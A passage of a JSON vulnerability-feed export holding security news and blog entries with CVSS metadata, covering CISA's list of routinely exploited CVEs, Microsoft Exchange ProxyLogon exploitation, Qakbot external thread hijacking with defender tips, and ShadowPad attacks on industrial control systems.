events](<https://threatpost.com/category/webinars/>)_****_ \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community:_** \n\u00b7 March 24: **Economics of 0-Day Disclosures: The Good, Bad and Ugly **([Learn more and register!](<https://threatpost.com/webinars/economics-of-0-day-disclosures-the-good-bad-and-ugly/>)) \n\u00b7 April 21: **Underground Markets: A Tour of the Dark Economy** ([Learn more and register!](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/>))\n", "cvss3": {}, "published": "2021-03-09T22:12:56", "type": "threatpost", "title": "Microsoft Patch Tuesday Updates Fix 14 Critical Bugs", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-26411", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-26867", "CVE-2021-26897", "CVE-2021-27065", "CVE-2021-27076", "CVE-2021-27077"], "modified": "2021-03-09T22:12:56", "id": "THREATPOST:056C552B840B2C102A6A75A2087CA8A5", "href": "https://threatpost.com/microsoft-patch-tuesday-updates-critical-bugs/164621/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-07-30T09:53:38", "description": "In a perfect world, CISA would laminate cards with the year\u2019s top 30 vulnerabilities: You could whip it out and ask a business if they\u2019ve bandaged these specific wounds before you hand over your cash.\n\nThis is not a perfect world. There are no laminated vulnerability cards.\n\nBut at least we have the list: In a joint advisory ([PDF](<https://us-cert.cisa.gov/sites/default/files/publications/AA21-209A_Joint%20CSA_Top%20Routinely%20Exploited%20Vulnerabilities.pdf>)) published Wednesday, the FBI and Cybersecurity and Infrastructure Security Agency (CISA), the Australian Cyber Security Center, and the UK\u2019s National Cyber Security Center listed the vulnerabilities that were \u201croutinely\u201d exploited in 2020, as well as those that are most often being picked apart so far this year.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe vulnerabilities \u2013 which lurk in devices or software from the likes of Citrix, Fortinet, Pulse Secure, Microsoft and Atlassian \u2013 include publicly known bugs, some of which are growing hair. One, in fact, dates to 2000.\n\n\u201cCyber actors continue to exploit publicly known \u2013 and often dated \u2013 software vulnerabilities against broad target sets, including public and private sector organizations worldwide,\u201d according to the advisory. \u201cHowever, entities worldwide can mitigate the vulnerabilities listed in this report by applying the available patches to their systems and implementing a centralized patch management system.\u201d\n\nSo far this year, cyberattackers are continuing to target vulnerabilities in perimeter-type devices, with particularly high amounts of unwanted attention being devoted to flaws in the perimeter devices sold by Microsoft, Pulse, Accellion, VMware and Fortinet.\n\nAll of the vulnerabilities have received patches from vendors. That doesn\u2019t mean those patches have been applied, of course.\n\n## Repent, O Ye Patch Sinners\n\nAccording to the advisory, attackers are unlikely to stop coming after geriatric vulnerabilities, including CVE-2017-11882: a Microsoft Office remote code execution (RCE) bug that was already near drinking age when it was [patched at the age of 17](<https://threatpost.com/microsoft-patches-17-year-old-office-bug/128904/>) in 2017.\n\nWhy would they stop? As long as systems remain unpatched, it\u2019s a win-win for adversaries, the joint advisory pointed out, as it saves bad actors time and effort.\n\n> Adversaries\u2019 use of known vulnerabilities complicates attribution, reduces costs, and minimizes risk because they are not investing in developing a zero-day exploit for their exclusive use, which they risk losing if it becomes known. \u2014Advisory\n\nIn fact, the top four preyed-upon 2020 vulnerabilities were discovered between 2018 to 2020, showing how common it is for organizations using the devices or technology in question to sidestep patching or remediation.\n\nThe top four:\n\n * [CVE-2019-19781](<https://threatpost.com/critical-citrix-rce-flaw-corporate-lans/152677/>), a critical bug in the Citrix Application Delivery Controller (ADC) and Citrix Gateway that left unpatched outfits at risk from a trivial attack on their internal operations. As of December 2020, 17 percent \u2013 about one in five of the 80,000 companies affected \u2013 hadn\u2019t patched.\n * [CVE 2019-11510](<https://threatpost.com/dhs-urges-pulse-secure-vpn-users-to-update-passwords/154925/>): a critical Pulse Secure VPN flaw exploited in several cyberattacks that targeted companies that had previously patched a related flaw in the VPN. In April 2020, the Department of Homeland Security (DHS) urged users to change their passwords for [Active Directory](<https://threatpost.com/podcast-securing-active-directory-nightmare/168203/>) accounts, given that the patches were deployed too late to stop bad actors from compromising those accounts.\n * [CVE 2018-13379](<https://threatpost.com/fbi-apts-actively-exploiting-fortinet-vpn-security-holes/165213/>): a path-traversal weakness in VPNs made by Fortinet that was discovered in 2018 and which was actively being exploited as of a few months ago, in April 2021.\n * [CVE 2020-5902](<https://threatpost.com/patch-critical-f5-flaw-active-attack/157164/>): a critical vulnerability in F5 Networks\u2019 BIG-IP advanced delivery controller networking devices that, as of July 2020, was being exploited by attackers to scrape credentials, launch malware and more.\n\nThe cybersecurity bodies urged organizations to remediate or mitigate vulnerabilities as soon as possible to reduce their risk of being ripped up. For those that can\u2019t do that, the advisory encouraged organizations to check for the presence of indicators of compromise (IOCs).\n\nIf IOCs are found, kick off incident response and recovery plans, and let CISA know: the advisory contains instructions on how to report incidents or request technical help.\n\n## 2020 Top 12 Exploited Vulnerabilities\n\nHere\u2019s the full list of the top dozen exploited bugs from last year:\n\n**Vendor** | **CVE** | **Type** \n---|---|--- \nCitrix | CVE-2019-19781 | arbitrary code execution \nPulse | CVE 2019-11510 | arbitrary file reading \nFortinet | CVE 2018-13379 | path traversal \nF5- Big IP | CVE 2020-5902 | remote code execution (RCE) \nMobileIron | CVE 2020-15505 | RCE \nMicrosoft | CVE-2017-11882 | RCE \nAtlassian | CVE-2019-11580 | RCE \nDrupal | CVE-2018-7600 | RCE \nTelerik | CVE 2019-18935 | RCE \nMicrosoft | CVE-2019-0604 | RCE \nMicrosoft | CVE-2020-0787 | elevation of privilege \nNetlogon | CVE-2020-1472 | elevation of privilege \n \n## Most Exploited So Far in 2021\n\nCISA et al. also listed these 13 flaws, all discovered this year, that are also being energetically exploited:\n\n * Microsoft Exchange: CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE2021-27065: four flaws that can be chained together in the ProxyLogon group of security bugs that led to a [patching frenzy](<https://threatpost.com/microsoft-exchange-servers-proxylogon-patching/165001/>). The frenzy was warranted: as of March, Microsoft said that 92 percent of Exchange Servers were vulnerable to [ProxyLogon](<https://threatpost.com/microsoft-exchange-exploits-ransomware/164719/>).\n * Pulse Secure: CVE-2021-22893, CVE-2021-22894, CVE-2021-22899, and CVE-2021-22900. As of May, CVE-2021-22893 was being used by at least two advanced persistent threat actors (APTs), likely linked to China, [to attack U.S. defense targets,](<https://threatpost.com/pulse-secure-vpns-fix-critical-zero-day-bugs/165850/>) among others.\n * Accellion: CVE-2021-27101, CVE-2021-27102, CVE-2021-27103, CVE-2021-27104. These ones led to scads of attacks, including [on Shell](<https://threatpost.com/shell-victim-of-accellion-attacks/164973/>). Around 100 Accellion FTA customers, including the [Jones Day Law Firm](<https://threatpost.com/stolen-jones-day-law-firm-files-posted/164066/>), Kroger [and Singtel](<https://threatpost.com/singtel-zero-day-cyberattack/163938/>), were affected by attacks [tied to FIN11 and the Clop ransomware gang](<https://threatpost.com/accellion-zero-day-attacks-clop-ransomware-fin11/164150/>).\n * VMware: CVE-2021-21985: A [critical bug](<https://threatpost.com/vmware-ransomware-alarm-critical-bug/166501/>) in VMware\u2019s virtualization management platform, vCenter Server, that allows a remote attacker to exploit the product and take control of a company\u2019s affected system.\n\nThe advisory gave technical details for all these vulnerabilities along with guidance on mitigation and IOCs to help organizations figure out if they\u2019re vulnerable or have already been compromised. The advisory also offers guidance for locking down systems.\n\n## Can Security Teams Keep Up?\n\nRick Holland, Digital Shadows CISO and vice president of strategy, called CISA vulnerability alerts an \u201cinfluential tool to help teams stay above water and minimize their attack surface.\u201d\n\nThe CVEs highlighted in Wednesday\u2019s alert \u201ccontinue to demonstrate that attackers are going after known vulnerabilities and leverage zero-days only when necessary,\u201d he told Threatpost on Thursday.\n\nRecent research ([PDF](<https://l.vulcancyber.com/hubfs/Infographics/Pulse%20research%20project%20-%202021-07-23%20-%20How%20are%20Businesses%20Mitigating%20Cyber%20Risk.pdf>)) from Vulcan Cyber has found that more than three-quarters of cybersecurity leaders have been impacted by a security vulnerability over the past year. It begs the question: Is there a mismatch between enterprise vulnerability management programs and the ability of security teams to mitigate risk?\n\nYaniv Bar-Dayan, CEO and co-founder at Vulcan Cyber, a provider of SaaS for enterprise cyber risk remediation, suggested that it\u2019s become ever more vital for enterprise IT security stakeholders to make \u201cmeaningful changes to their cyber hygiene efforts.\u201d That means \u201cprioritizing risk-based cybersecurity efforts, increasing collaboration between security and IT teams, updating vulnerability management tooling, and enhancing enterprise risk analytics, especially in businesses with advanced cloud application programs.\u201d\n\nGranted, vulnerability management is \u201cone of the most difficult aspects of any security program,\u201d he continued. But if a given vulnerability is being exploited, that should kick it up the priority list, Var-Dayan said. \u201cTaking a risk-based approach to vulnerability management is the way forward; and teams should unquestionably be prioritizing vulnerabilities that are actively being exploited.\u201d\n\n072921 15:02 UPDATE: Corrected misattribution of quotes.\n\nWorried about where the next attack is coming from? We\u2019ve got your back. **[REGISTER NOW](<https://threatpost.com/webinars/how-to-think-like-a-threat-actor/?utm_source=ART&utm_medium=ART&utm_campaign=August_Uptycs_Webinar>)** for our upcoming live webinar, How to **Think Like a Threat Actor**, in partnership with Uptycs on Aug. 17 at 11 AM EST and find out precisely where attackers are targeting you and how to get there first. Join host Becky Bracken and Uptycs researchers Amit Malik and Ashwin Vamshi on **[Aug. 17 at 11AM EST for this LIVE discussion](<https://threatpost.com/webinars/how-to-think-like-a-threat-actor/?utm_source=ART&utm_medium=ART&utm_campaign=August_Uptycs_Webinar>)**.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-07-29T18:39:56", "type": "threatpost", "title": "CISA\u2019s Top 30 Bugs: One\u2019s Old Enough to Buy Beer", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-11882", "CVE-2018-7600", "CVE-2019-0604", "CVE-2019-11580", "CVE-2019-19781", "CVE-2020-0787", "CVE-2020-1472", "CVE-2021-21985", "CVE-2021-22893", "CVE-2021-22894", "CVE-2021-22899", "CVE-2021-22900", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27101", "CVE-2021-27102", "CVE-2021-27103", "CVE-2021-27104"], "modified": "2021-07-29T18:39:56", "id": "THREATPOST:8D6D4C10987CBF3434080EFF240D2E74", "href": "https://threatpost.com/cisa-top-bugs-old-enough-to-buy-beer/168247/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "talosblog": [{"lastseen": "2022-07-27T13:20:55", "description": "[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgy2Wuvbl5mfT8-u0htGAl3mPBmI1n-8DSyszSW_durAJHYacJ5C07dvrbbU2r5ZoCCyPJtJ7PECpj4lg-aypmP_y3FzSHmBuJ-p9kmLh2evXSUfuQmMAkj9ieuGkx7oTE5qnHntRgGG7ktacdrr75Q6kRj1wK7jdZLSO7MW9Lx2LJWai6_0oRsdglc/s2000/Qakbot.jpg>)\n\n \n_ \n_\n\n_By Nate Pors and Terryn Valikodath. _\n\n## Executive summary \n\n * In a recent malspam campaign delivering the Qakbot banking trojan, Cisco Talos Incident Response (CTIR) observed the adversary using aggregated, old email threads from multiple organizations that we assess were likely harvested during the [2021 ProxyLogon-related compromises](<https://blog.talosintelligence.com/2021/03/defending-microsoft-exchange-from.html>) targeting vulnerable Microsoft Exchange servers. \n * This campaign relies on external thread hijacking, whereby the adversary is likely using a bulk aggregation of multiple organizations\u2019 harvested emails to launch focused phishing campaigns against previously uncompromised organizations. This differs from the more common approach to thread hijacking, in which attackers use a single compromised organization\u2019s emails to deliver their threat. \n * This many-to-one approach is unique from what we have generally observed in the past and is likely an indirect effect of the widespread compromises and exfiltration of large volumes of email from 2020 and 2021. \n * Understanding the difference between external and single-victim thread hijacking is essential for detecting these threats. Below, we have several tips for defenders on how to identify key indicators of this activity. \n\n## External thread hijacking \n\nCisco Talos has observed threat actors using external thread hijacking, a method by which attackers weaponize emails previously harvested from other organizations. This differs from the more common approach to thread hijacking, in which adversaries compromise the victim organization\u2019s Exchange server to obtain email threads that are then weaponized. We recently observed this in June 2022 as part of a broader campaign that delivered the Qakbot banking trojan. In this threat activity, the attackers used old emails harvested months to years ago during the 2021 ProxyLogon campaign, tracked as CVE-2021-26855, targeting vulnerable Exchange servers. \n\nExternal thread hijacking is not dependent on the threat actor gaining initial access to the victim environment. This is notable from a digital forensics and incident response (DFIR) perspective because the target organization only saw inbound phishing emails with its own legitimate emails as the source material, with multiple external organizations represented in the email threads. Our assessment of the adversary\u2019s use of emails obtained from the ProxyLogon compromises is based on a number of observations, including the timing of the emails and research into publicly acknowledged ProxyLogon compromises. The attackers selectively used these emails to target senders or recipients from the target organization. \n\nIn the external thread hijacking attack observed by CTIR, the adversary likely took the following steps: \n\n 1. The attacker took control of multiple third-party organizations\u2019 Exchange servers or individual inboxes and exported emails for later use. The adversary selected the emails relevant to the target organization from the email dumps. This could have been accomplished with a regex search for \u201c[@]company[.]com\u201d in the \u201cTo\u201d or \u201cFrom\u201d fields, although we did not directly observe the adversary\u2019s selection process. \n 2. With the emails selected, the adversary ran a script to format the text of each legitimate thread into a phishing email by adding malicious content. \n 3. The attacker then sent the phishing emails to the original \u201c[@]company[.]com\u201d address in each legitimate thread from many adversary-controlled external mailboxes, completing the phishing attack. \n\nSee the graphic below for a visual depiction of those steps. Note that the graphic shows only one third-party organization for simplicity, but emails harvested from multiple external organizations were involved in the attack observed by Cisco Talos. \n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXKqnr5G4xRAVDOfEK3noNkoSGsRmt94FjKY7tq40jVdbiQTy-75oAFRmM8PFpC5mvHMjEA64bAUC76PukXz178bRUmq_Ghxfq8vuQL9O5O3z4STyjKGbD9BecLws8QKzF6NjNj2u8Vgs8gbUmHsfxONddyxb43IQpyb-5S3U1rfJfUakMvj3fmnfm/s2299/ThreadHijacking-BlogGraphics-ExternalThreadHijacking.jpg>)\n\n \n\n\n \n\n\n## Victim thread hijacking \n\nTo help showcase the unusual nature of the external thread hijacking, a brief breakdown of the more common victim thread hijacking is instructive. In 2021 and early 2022, adversary methods for thread-hijacking primarily depended on access to a victim\u2019s Exchange server or individual email account. Most recently, this was seen in an [IcedID campaign](<https://duo.com/decipher/icedid-thread-hijacking-attack-leverages-exchange-servers>) in early 2022 where the adversary compromised a victim\u2019s Exchange server and used it as a base of operations to craft and send malicious emails based on recent legitimate email threads. \n\nIn the past, in a standard malspam campaign delivering IcedID, an attacker would have taken control of the target organization\u2019s Exchange server, then hijacked threads between internal users and/or their external partners. The key point is that the victim\u2019s Exchange server served as both the source for the legitimate email thread and the sender for the malicious reply. These attacks were usually conducted immediately post-compromise, or shortly after. \n\nIn a victim thread hijacking attack, the adversary would take the following steps: \n\n 1. Take control of the target organization\u2019s Exchange server via ProxyLogon or another Exchange vulnerability. \n 2. The adversary would then use a legitimate email to craft a reply, inserting malicious content. Next, the adversary would send a malicious reply to the target user via the target organization\u2019s Exchange server. This step of the attack would work equally well for internal-to-internal and internal-to-external phishing. \n 3. The target user, seeing the legitimate sender, source and thread history of the email, would be reasonably likely to click the link, thereby executing the IcedID payload on the system. \n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjo14c7bPES9CZ4XG5aOutYyYw5aqjVOrBUwOtYCCotiGuE6XqwxhpaEE4QWj99Tn9z6bN97zJcRQ-TnjCkBLgiv9RbyW9OKqByU_mRvfLbfJ-ZVUqzQHj9a9GXvRh2nwar8lfhe9rKSyTFoU8dqs8JtrETfBMJN-vNVq6hzhdtuIzmy3fg2gCYHdJl/s2299/ThreadHijacking-BlogGraphics-VictimThreadHijacking.jpg>)\n\n \n\n\n \n\n\nRegarding the malware delivered in this campaign, there are [numerous Snort rules](<https://snort.org/search?query=Qakbot&submit_search=>) and [ClamAV signatures](<https://www.clamav.net/>) users can deploy to detect the deployment of Qakbot. While the primary focus of this post covers the process of how an attacker delivered this attack, if a user were to be infected with this particular campaign, Qakbot can steal financial data and login information from targeted systems. It also loads additional malware from its C2 servers, which Snort rules can detect and prevent. \n\nWith a clear understanding of the difference between external thread hijacking versus victim thread hijacking, the next question is how to detect external thread hijacking, particularly in the current campaign using emails harvested through ProxyLogon attacks. This is a very relevant topic for DFIR professionals because accurate identification of this attack method might lower the priority of in-depth forensic examination of internal Exchange servers. \n\n \n\n\n## Tips for Defenders \n\nLook for the following indicators as key signs of the external thread hijacking method: \n\n * **Spoofed senders.** Since the adversary did not have access to the victim\u2019s Exchange server, all emails originate from spoofed, external addresses. \n * **Old email threads, primarily from 2020 and 2021.** However, Cisco Talos has observed at least one email thread as recent as May 2022, indicating that the adversary in question is actively using newly harvested emails. \n * **No or very limited internal-to-internal threads.** Since the emails were harvested from external sources, there should be very few internal-to-internal threads seen in the legitimate content. \n * **Malformed replies.** The adversary concatenated the old, legitimate content with the new, malicious content within the email body. This created a malformed appearance, as seen in the example below. \n * **Partially scrubbed email addresses.** The adversary\u2019s script removed some email addresses from the bodies of the legitimate emails during the construction of the malicious emails, as noted in the example below. \n * **Repetitive use** of the same harvested legitimate email threads in multiple phishing waves. \nThe example below was created by Cisco Talos to avoid displaying identifying information but is highly similar in all aspects to the external thread hijacking emails observed in the wild. \n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGxyFk4VlVbaDR3ZTKDJM8UHCa0nALoQ-1hyujHYenANd5SaTNH9P_X2KEWQ6GO2bDf3ZU5py3aVnUQIjNQciafDBl7agcwF6rF0jXnW964fJgn_CTKCTWIATHEHoY41AiaDm9vPhFVJJ-8VJl5EkqzCH7Cd3d_MjuH29LtDUTExZOwGs8fUXDtAaw/s2299/ThreadHijacking-BlogGraphics-ExternalEmailBreakdown.jpg>)\n\n \n\n\n \n\n\n \n\n\n## \n\n\n## \n\n\n## Conclusion \n\nBy early 2022, the direct effects of ProxyLogon, most famously exploited by the HAFNIUM group, largely quieted down. The external approach to thread hijacking, not necessarily specific to one adversary, appears to be one of the many indirect effects of the widespread compromises that resulted in exfiltration of large volumes of email from 2020 and 2021. Although those emails are relatively old by now, we will likely continue to observe adversaries leveraging bulk email aggregations from multiple organizations to launch focused phishing campaigns. Accurately recognizing the difference between external thread hijacking and victim thread hijacking can potentially avoid incorrect assessment of an incident and save dozens of hours of hunting for an internal breach that does not exist.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-07-27T12:00:00", "type": "talosblog", "title": "What Talos Incident Response learned from a recent Qakbot attack hijacking old email threads", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855"], "modified": "2022-07-27T12:00:00", "id": "TALOSBLOG:D6DE736915C69A194D894AE9BED7EC57", "href": "http://blog.talosintelligence.com/2022/07/what-talos-incident-response-learned.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-03-10T14:27:54", "description": "Microsoft released patches for four vulnerabilities in Exchange Server on March 2, disclosing that these vulnerabilities were being exploited by a previously unknown threat actor, referred to as HAFNIUM. The vulnerabilities in question \u2014 CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 and CVE-2021-27065 \u2014 affect Microsoft Exchange Server 2019, 2016, 2013 and the out-of-support Microsoft Exchange Server 2010. The patches for these vulnerabilities should be applied as soon as possible. Microsoft... \n \n[[ This is only the beginning! Please visit the blog for the complete entry ]]", "cvss3": {}, "published": "2021-03-08T10:18:43", "type": "talosblog", "title": "Threat Advisory: HAFNIUM and Microsoft Exchange zero-day", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-03-08T10:18:43", "id": "TALOSBLOG:AC8ED8970F5692A325A10D93B7F0D965", "href": "http://feedproxy.google.com/~r/feedburner/Talos/~3/YIQrIoqvPyk/threat-advisory-hafnium-and-microsoft.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "thn": [{"lastseen": "2022-06-29T03:57:39", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEi1PBy6f30rb04dAbZTbbnNt_W5SsZO3lhS31ENdnsfmrEYox9AZqd9kkYEBWsIV7uSrZP9dAtk2CeSdHT11tl2O5v7j6aazExHwKgOa9cUjnDFSksGKSSYBaP63LbQXnlo9FAJRw0Bswxnf-qcDJqylBF-wVoy4-FvQFO7TgmdBsXrkgBd8kpl5jet/s728-e100/ics.jpg>)\n\nEntities located in Afghanistan, Malaysia, and Pakistan are in the crosshairs of an attack campaign that targets unpatched Microsoft Exchange Servers as an initial access vector to deploy the ShadowPad malware.\n\nRussian cybersecurity firm Kaspersky, which first detected the activity in mid-October 2021, [attributed](<https://ics-cert.kaspersky.com/publications/reports/2022/06/27/attacks-on-industrial-control-systems-using-shadowpad/>) it to a previously unknown Chinese-speaking threat actor. Targets include organizations in the telecommunications, manufacturing, and transport sectors.\n\n\"During the initial attacks, the group exploited an MS Exchange vulnerability to deploy ShadowPad malware and infiltrated [building automation systems](<https://en.wikipedia.org/wiki/Building_automation>) of one of the victims,\" the company said. \"By taking control over those systems, the attacker can reach other, even more sensitive systems of the attacked organization.\"\n\n[ShadowPad](<https://thehackernews.com/2022/06/state-backed-hackers-using-ransomware.html>), which emerged in 2015 as the successor to PlugX, is a privately sold modular malware platform that has been put to use by many Chinese espionage actors over the years. \n\nWhile its design allows users to remotely deploy additional plugins that can extend its functionality beyond covert data collection, what makes ShadowPad dangerous is the anti-forensic and anti-analysis techniques incorporated into the malware.\n\n\"During the attacks of the observed actor, the ShadowPad backdoor was downloaded onto the attacked computers under the guise of legitimate software,\" Kaspersky said. \"In many cases, the attacking group exploited a known vulnerability in MS Exchange, and entered the commands manually, indicating the highly targeted nature of their campaigns.\"\n\nEvidence suggests that intrusions mounted by the adversary began in March 2021, right around the time the [ProxyLogon vulnerabilities](<https://thehackernews.com/2021/03/urgent-4-actively-exploited-0-day-flaws.html>) in Exchange Servers became public knowledge. Some of the targets are said to have been breached by exploiting [CVE-2021-26855](<https://thehackernews.com/2021/03/microsoft-exchange-cyber-attack-what-do.html>), a server-side request forgery (SSRF) vulnerability in the mail server.\n\nBesides deploying ShadowPad as \"mscoree.dll,\" an authentic Microsoft .NET Framework component, the attacks also involved the use of Cobalt Strike, a PlugX variant called [THOR](<https://thehackernews.com/2021/07/chinese-hackers-implant-plugx-variant.html>), and web shells for remote access.\n\nAlthough the final goals of the campaign remain unknown, the attackers are believed to be interested in long-term intelligence gathering.\n\n\"Building automation systems are rare targets for advanced threat actors,\" Kaspersky ICS CERT researcher Kirill Kruglov said. \"However, those systems can be a valuable source of highly confidential information and may provide the attackers with a backdoor to other, more secured, areas of infrastructures.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-06-28T11:30:00", "type": "thn", "title": "APT Hackers Targeting Industrial Control Systems with ShadowPad Backdoor", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855"], "modified": "2022-06-29T03:13:37", "id": "THN:97FD375C23B4E7C3F13B9F3907873671", "href": "https://thehackernews.com/2022/06/apt-hackers-targeting-industrial.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:39:04", "description": "[](<https://thehackernews.com/images/-LnAVswTXLc0/YECXmVTkFHI/AAAAAAAAB8M/VcsyTjTU0j85SwVjVTnc-hf3yFwUgogTgCLcBGAsYHQ/s0/cisa.jpg>)\n\nFollowing Microsoft's release of out-of-band patches to address multiple zero-day flaws in on-premises versions of Microsoft Exchange Server, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) has [issued](<https://cyber.dhs.gov/ed/21-02/>) an emergency directive warning of \"[active exploitation](<https://us-cert.cisa.gov/ncas/alerts/aa21-062a>)\" of the vulnerabilities.\n\nThe alert comes on the heels of Microsoft's [disclosure](<https://thehackernews.com/2021/03/urgent-4-actively-exploited-0-day-flaws.html>) that China-based hackers were exploiting unknown software bugs in Exchange server to steal sensitive data from select targets, marking the [second time in four months](<https://thehackernews.com/2020/12/us-agencies-and-fireeye-were-hacked.html>) that the U.S. has scrambled to address a widespread hacking campaign believed to be the work of foreign threat actors.\n\nWhile the company mainly attributed the campaign to a threat group called HAFNIUM, Slovakian cybersecurity firm ESET [said](<https://twitter.com/ESETresearch/status/1366862946488451088>) it found evidence of CVE-2021-26855 being actively exploited in the wild by several cyber espionage groups, including LuckyMouse, Tick, and Calypso targeting servers located in the U.S., Europe, Asia, and the Middle East.\n\n[](<https://thehackernews.com/images/-TmA9t5dn7V8/YECZLOHV3DI/AAAAAAAAB8U/oGFCJ8b-FuE0teg_Vh5Chc3yvuQ70JNdQCLcBGAsYHQ/s0/hacking.jpg>)\n\nResearchers at Huntress Labs have also sounded the alarm about mass exploitation of Exchange servers, noting that over 350 web shells have been discovered across approximately 2,000 vulnerable servers.\n\n\"Among the vulnerable servers, we also found over 350 web shells \u2014 some targets may have more than one web shell, potentially indicating automated deployment or multiple uncoordinated actors,\" Huntress senior security researcher John Hammond [said](<https://www.huntress.com/blog/rapid-response-mass-exploitation-of-on-prem-exchange-servers>). \"These endpoints do have antivirus or EDR solutions installed, but this has seemingly slipped past a majority of preventative security products.\"\n\nThe latest development indicates a much larger spread that extends beyond the \"limited and targeted\" attacks reported by Microsoft earlier this week.\n\nIt's not clear if any U.S. government agencies have been breached in the campaign, but the CISA directive underscores the urgency of the threat. \n\nStrongly urging organizations to apply the patches as soon as possible, the agency cited the \"likelihood of widespread exploitation of the vulnerabilities after public disclosure and the risk that federal government services to the American public could be degraded.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-04T08:26:00", "type": "thn", "title": "CISA Issues Emergency Directive on In-the-Wild Microsoft Exchange Flaws", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", 